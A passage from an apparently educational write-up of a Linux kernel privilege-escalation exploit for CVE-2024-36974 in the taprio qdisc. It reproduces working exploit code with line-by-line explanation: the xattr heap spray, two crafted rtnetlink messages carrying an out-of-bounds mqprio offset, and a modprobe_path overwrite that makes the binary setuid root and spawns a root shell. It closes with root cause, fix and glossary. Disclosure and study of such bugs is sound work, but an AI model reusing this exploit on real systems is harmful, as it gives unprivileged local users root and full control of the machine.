  • The second for loop steps through the sprayed xattrs in strides of 32 and calls removexattr on each, punching holes in the spray. Those holes are where the vulnerable Qdisc object is expected to land, so that the out-of-bounds read reaches a controlled neighbour.

The value written at payload[0x18], 0x6f6d2f706d742f2f, is the string //tmp/mo in little-endian, the start of the new modprobe_path.

Step 3: trigger the bug with two rtnetlink messages

The exploit opens a NETLINK_ROUTE socket and sends two RTM_NEWQDISC messages for team0. RTM_NEWQDISC is the message type that creates or replaces a queueing discipline. The first message creates a benign taprio qdisc with num_tc = 1, count[0] = 1 and offset[0] = 0, which sets dev->num_tc without the admin schedule becoming visible yet. The second message, sent with NLM_F_CREATE | NLM_F_REPLACE, sets offset[0] = OOB_IDX (16), one past the end of the 16-entry qdiscs array, and is the one that passes unvalidated because of the RCU race.

The first message is built as follows:

C
  struct nlmsghdr nlmsghdr = {
    .nlmsg_len = 0,
    .nlmsg_type = RTM_NEWQDISC,
    .nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST,
    .nlmsg_seq = 0,
    .nlmsg_pid = 0,
  };

  struct tcmsg tcmsg = {
    .tcm_family = 0,
    .tcm_ifindex = ifindex,
    .tcm_handle = 0,
    .tcm_parent = 0xffffffff,
    .tcm_info = 0,
  };

  struct tc_mqprio_qopt qopt = {
    0
  }; // setup a benign taprio mqprio
  memset( & qopt, 0, sizeof(qopt));
  qopt.num_tc = 1;
  qopt.hw = 0;
  qopt.count[0] = 1;
  qopt.offset[0] = 0;

Line by line:

  • struct nlmsghdr nlmsghdr is the header every netlink message starts with. nlmsg_type = RTM_NEWQDISC says "create a qdisc". nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST means "create it" and "this is a request". The length is filled in later.
  • struct tcmsg tcmsg is the traffic-control part of the message. tcm_ifindex = ifindex names the interface (team0), and tcm_parent = 0xffffffff means "attach at the root of the interface".
  • struct tc_mqprio_qopt qopt is the mapping structure the kernel is supposed to validate. memset( & qopt, 0, sizeof(qopt)); zeroes it first.
  • qopt.num_tc = 1; asks for one traffic class. qopt.hw = 0; says this is a software mapping. qopt.count[0] = 1; says class 0 has one queue. qopt.offset[0] = 0; says that queue is at position 0, which is perfectly valid. This first message is deliberately harmless; its job is only to make dev->num_tc nonzero.

The netlink attributes are a raw byte array carrying TCA_KIND set to taprio, TCA_OPTIONS with a clock ID of 0, a schedule entry list with one entry whose gate_mask is 0xfffffffc and interval is 0x7fffffff, and TCA_TAPRIO_ATTR_PRIOMAP. The qopt structure is copied into the attribute buffer at offset 0x30 + 4 before sending:

C
  char raw_attrs[] = "\x0b\x00"
  "\x01\x00"
  "taprio\x00\x00" // rtm_tca_policy - TCA_KIND
  "\x7c\x00"
  "\x02\x00" // TCA_OPTIONS
  "\x08\x00"
  "\x05\x00"
  "\x00\x00\x00\x00" // TCA_TAPRIO_ATTR_SCHED_CLOCKID = 0
  "\x18\x00"
  "\x02\x80" // taprio_policy - TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST
  "\x14\x00"
  "\x01\x80" // TCA_TAPRIO_SCHED_ENTRY
  "\x08\x00"
  "\x03\x00"
  "\xfc\xff\xff\xff" // gate_mask = 0xfffffffc
  "\x08\x00"
  "\x04\x00"
  "\xff\xff\xff\x7f" // interval = 0x7fffffff
  "\x56\x00"
  "\x01\x00" // TCA_TAPRIO_ATTR_PRIOMAP
  "\x00"
  "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00"
  "\x00\x00"
  ...
  "\x00\x00";

  char * attrs = malloc(0x1000);
  memset(attrs, 0, 0x1000);

  // modify qopt
  memcpy(attrs, raw_attrs, sizeof(raw_attrs));
  memcpy(attrs + 0x30 + 4, & qopt, sizeof(qopt));

  void * pkt = build_pkt( & nlmsghdr, & tcmsg, attrs, sizeof(raw_attrs) - 1);
  heap_groom();
  send(sock, pkt, nlmsghdr.nlmsg_len, 0);

Line by line:

  • char raw_attrs[] is the attribute blob written as a C string of bytes. Each attribute in netlink has a small header: two bytes of length and two bytes of type. "\x0b\x00" is a length of 11, "\x01\x00" is type 1, which is TCA_KIND, and "taprio\x00\x00" is the value, the name of the qdisc.
  • "\x7c\x00" and "\x02\x00" start the TCA_OPTIONS attribute, length 0x7c and type 2. Everything nested inside belongs to taprio.
  • "\x08\x00" "\x05\x00" "\x00\x00\x00\x00" is a nested attribute of length 8 and type 5, the clock ID, set to 0.
  • "\x18\x00" "\x02\x80" starts the schedule entry list, a nested attribute of length 0x18 and type 0x8002.
  • "\x14\x00" "\x01\x80" starts one schedule entry, length 0x14 and type 0x8001.
  • "\x08\x00" "\x03\x00" "\xfc\xff\xff\xff" sets the entry's gate mask to 0xfffffffc, meaning which traffic classes are allowed to send during this slot.
  • "\x08\x00" "\x04\x00" "\xff\xff\xff\x7f" sets the entry's interval to 0x7fffffff.
  • "\x56\x00" "\x01\x00" starts the priority map attribute, length 0x56 and type 1, followed by its bytes. The ... in the listing stands for a long run of "\x00\x00" padding that the report abbreviates.
  • char * attrs = malloc(0x1000); memset(attrs, 0, 0x1000); allocates a clean buffer for the final message.
  • memcpy(attrs, raw_attrs, sizeof(raw_attrs)); copies the template in.
  • memcpy(attrs + 0x30 + 4, & qopt, sizeof(qopt)); overwrites the mapping structure inside the template with the qopt built above. The offset 0x30 + 4 is where the mapping sits inside the attribute blob.
  • void * pkt = build_pkt( & nlmsghdr, & tcmsg, attrs, sizeof(raw_attrs) - 1); assembles header, traffic-control header and attributes into one buffer.
  • heap_groom(); performs the xattr spray described in step 2, so the heap is prepared before the kernel allocates the qdisc.
  • send(sock, pkt, nlmsghdr.nlmsg_len, 0); sends the first message.

The second message uses handle 0x10000, NLM_F_CREATE | NLM_F_REPLACE | NLM_F_REQUEST, a full gate_mask of 0xffffffff, an interval of 0x1000, and the out-of-bounds offset:

C
  struct nlmsghdr nlmsghdr2 = {
    .nlmsg_len = 0,
    .nlmsg_type = RTM_NEWQDISC,
    .nlmsg_flags = NLM_F_CREATE | NLM_F_REPLACE | NLM_F_REQUEST,
    .nlmsg_seq = 0,
    .nlmsg_pid = 0,
  };

  struct tcmsg tcmsg2 = {
    .tcm_family = 0,
    .tcm_ifindex = ifindex,
    .tcm_handle = 0x10000,
    .tcm_parent = 0xffffffff,
    .tcm_info = 0,
  };

  char raw_attrs2[] = "\x0b\x00"
  "\x01\x00"
  "taprio\x00\x00" // rtm_tca_policy - TCA_KIND
  "\x7c\x00"
  "\x02\x00" // TCA_OPTIONS
  "\x08\x00"
  "\x05\x00"
  "\x00\x00\x00\x00" // TCA_TAPRIO_ATTR_SCHED_CLOCKID = 0
  "\x18\x00"
  "\x02\x80" // taprio_policy - TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST
  "\x14\x00"
  "\x01\x80" // TCA_TAPRIO_SCHED_ENTRY
  "\x08\x00"
  "\x03\x00"
  "\xff\xff\xff\xff" // gate_mask = 0xffffffff
  "\x08\x00"
  "\x04\x00"
  "\x00\x20\x00\x00" // interval = 0x1000
  "\x56\x00"
  "\x01\x00" // TCA_TAPRIO_ATTR_PRIOMAP
  "\x00"
  "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00"
  "\x00\x00"
  ...
  "\x00\x00";

  memset( & qopt, 0, sizeof(qopt));
  qopt.num_tc = 1;
  qopt.hw = 0;
  qopt.count[0] = 1;
  qopt.offset[0] = OOB_IDX;
  memcpy(attrs, raw_attrs2, sizeof(raw_attrs2));
  memcpy(attrs + 0x30 + 4, & qopt, sizeof(qopt));

  void * pkt2 = build_pkt( & nlmsghdr2, & tcmsg2, attrs, sizeof(raw_attrs2) - 1);

  send(sock, pkt2, nlmsghdr2.nlmsg_len, 0);

  puts("[-] failed to trigger the payload, retry...");
  * terminate = 1;
  sleep(1000000);

Line by line:

  • The second header is the same as the first except for the flags: NLM_F_CREATE | NLM_F_REPLACE | NLM_F_REQUEST means "create it, or replace it if it already exists". That is what lets the second message reconfigure the qdisc the first one created.
  • tcmsg2 uses tcm_handle = 0x10000, a different handle, so the kernel treats it as a distinct qdisc object.
  • raw_attrs2 is the same template with two differences: gate_mask is now 0xffffffff (all classes allowed) and interval is 0x1000.
  • qopt.offset[0] = OOB_IDX; is the heart of the attack: the offset is 16, one past the last valid slot of the 16-entry qdiscs array.
  • The two memcpy calls put the template and the malicious qopt into the buffer, build_pkt assembles the message, and send transmits it.
  • puts("[-] failed to trigger the payload, retry..."); prints a message if execution reaches this point, meaning the payload did not take over. * terminate = 1; tells the parent process to try again, and sleep(1000000); keeps this child alive for a very long time.

If the payload does not fire, the child sets the shared terminate flag and the parent retries on another CPU.

Step 4: get root through modprobe_path

A separate process, forked before entering any namespace, polls /proc/sys/kernel/modprobe until it reads //tmp/modprobe. It then forks ten busy processes pinned to CPUs, writes a script to /tmp/modprobe that makes the exploit binary setuid root, and executes a file with an unknown binary format to make the kernel invoke the new modprobe_path:

C
  if (!strncmp(buf, "//tmp/modprobe", 14)) {
    sprintf(buf, "echo '#!/bin/bash\\nchown root:root %s; chmod 04755 %s' > /tmp/modprobe; chmod +x /tmp/modprobe", path, path);
    system(buf);
    system("echo 1 > /tmp/1; chmod +x /tmp/1; /tmp/1 2> /dev/null");
    char * argv[] = {
      path,
      NULL
    };
    char * env[] = {
      NULL
    };
    execve(path, argv, env);
  }

Line by line:

  • if (!strncmp(buf, "//tmp/modprobe", 14)) checks whether the first 14 characters of the kernel setting are //tmp/modprobe, meaning the ROP chain succeeded in overwriting it.
  • sprintf(buf, "echo '#!/bin/bash\\nchown root:root %s; chmod 04755 %s' > /tmp/modprobe; chmod +x /tmp/modprobe", path, path); builds a shell command that writes a small script to /tmp/modprobe. The script makes the exploit binary owned by root and gives it the setuid bit (chmod 04755), so that running it later runs it with root rights.
  • system(buf); runs that command.
  • system("echo 1 > /tmp/1; chmod +x /tmp/1; /tmp/1 2> /dev/null"); creates a file with unknown contents, marks it executable and runs it. The kernel does not recognise the format, so it asks its module helper to try, and that helper is now the attacker's script at //tmp/modprobe.
  • execve(path, argv, env); runs the exploit binary again, now setuid root, which gives a root shell.

The main loop forks an attempt() child per CPU, waits up to ten seconds for it, and rotates the CPU affinity until modprobe_overwritten() returns true. check_root() handles the case where the process is already root or the modprobe path has already been overwritten.

Root cause

The validation in taprio_parse_mqprio_opt is conditional on dev->num_tc, which is updated synchronously by netdev_set_num_tc, while the guard that prevents reconfiguration (oper || admin) reads RCU-protected pointers that are only updated after a grace period. Two taprio_change calls inside one grace period therefore let a second, unvalidated mqprio through. The unvalidated offset[] values are stored in q->cur_txq[] and later used as an index into the fixed-size q->qdiscs[16] array, and the resulting pointer is dereferenced and its ops called. The report does not describe any additional mitigation that would have stopped the dereference; the exploit relies on the KASLR leak from /sys/kernel/notes and on heap grooming to control the out-of-bounds object.

Impact

An unprivileged local user can turn the out-of-bounds access into PC control and escalate to root, as demonstrated on Ubuntu 22.04 with kernel 6.5.0-1023-oem. The exploit needs the ability to create user and network namespaces, a network device to attach the qdisc to, and a successful heap groom; the report notes the RCU grace period is a really long time, and the exploit retries across CPUs until modprobe_path is overwritten. and the exploit retries across CPUs until modprobe_path is overwritten.

Fix

The vulnerability was patched upstream in the Linux kernel and in the distributions that rely on it. The patch is at:

Text
https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f921a58ae208

Variants to test

  1. Other qdiscs that cache user-supplied indices into fixed-size arrays and read them back on the dequeue path. A positive result is an index that survives validation and is later used to index a qdiscs-like array.
  2. Other RCU-protected state used as a guard in front of validation, where a synchronously updated flag is checked elsewhere. A positive result is a second configuration call inside a grace period that skips validation.
  3. Other pseudo-files that expose kernel pointers, such as /sys/kernel/notes here. A positive result is a readable kernel text address that yields a page-aligned KASLR slide.
  4. Other structures whose field at the offset of Qdisc.ops overlaps a user-controlled field of a sprayable object such as simple_xattr. A positive result is a controlled function pointer reached through the out-of-bounds index.

Glossary

  • Kernel: the central part of the operating system, the only code allowed to perform privileged operations.
  • Userspace: all normal programs running outside the kernel.
  • CVE: a public identifier for a known security vulnerability.
  • qdisc: queueing discipline, the kernel's rulebook for how outgoing network packets are queued and sent.
  • taprio: a time-aware qdisc that sends packets according to a schedule of time slots.
  • mqprio: a mapping that assigns traffic classes to hardware queues, carried inside a taprio configuration.
  • rtnetlink: the message protocol through which userspace configures networking in the kernel.
  • netlink attribute: a labelled field inside a netlink message, with a length and a type.
  • namespace: a private, isolated view of part of the system, such as users or network interfaces.
  • unshare: the system call that creates new namespaces for a process.
  • tmpfs: a filesystem that lives in memory rather than on disk.
  • team device: a virtual network interface that bundles several links together.
  • heap: the kernel's general-purpose memory pool, where objects of many kinds are allocated close together.
  • heap grooming / spraying: allocating many objects of a chosen kind to influence what sits next to a target object in memory.
  • out-of-bounds access: reading or writing memory outside the intended bounds of an array or object.
  • KASLR: kernel address space layout randomisation, which places the kernel at a random address at each boot.
  • KASLR slide: the random offset by which the kernel was moved at this boot.
  • ROP: return-oriented programming, chaining small existing code snippets (gadgets) to perform actions.
  • gadget: a short sequence of machine instructions ending in a return, used as a building block in a ROP chain.
  • PC control: control over the program counter, meaning control over which instruction the processor executes next.
  • RCU: read-copy-update, a kernel mechanism where readers may see an old version of shared data until a grace period passes.
  • grace period: the interval after which an RCU update is guaranteed to be visible to all readers.
  • xattr: extended attribute, a small named value attached to a file.
  • simple_xattr: the kernel structure that stores one extended attribute.
  • pahole: a tool that shows the memory layout of structures in a compiled program.
  • modprobe_path: the kernel setting holding the path of the helper program run when a module needs to be loaded.
  • setuid: a file permission bit that makes a program run with the rights of its owner, here root.
  • struct: a C language construct that groups several named fields into one object.
  • offset: the distance, in bytes, from the start of an object to a particular field.
  • little-endian: a byte order in which the least significant byte of a number comes first in memory.
  • function pointer: a value that holds the address of a function, so that calling it jumps to that address.
  • ops table: a structure of function pointers through which the kernel calls operations on an object.
  • CVE-2024-36974: the identifier of this vulnerability.
  • TyphoonPWN 2024: the contest in whose Linux privilege escalation category this research was submitted.
  • SSD Secure Disclosure: the organisation that published the white paper.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.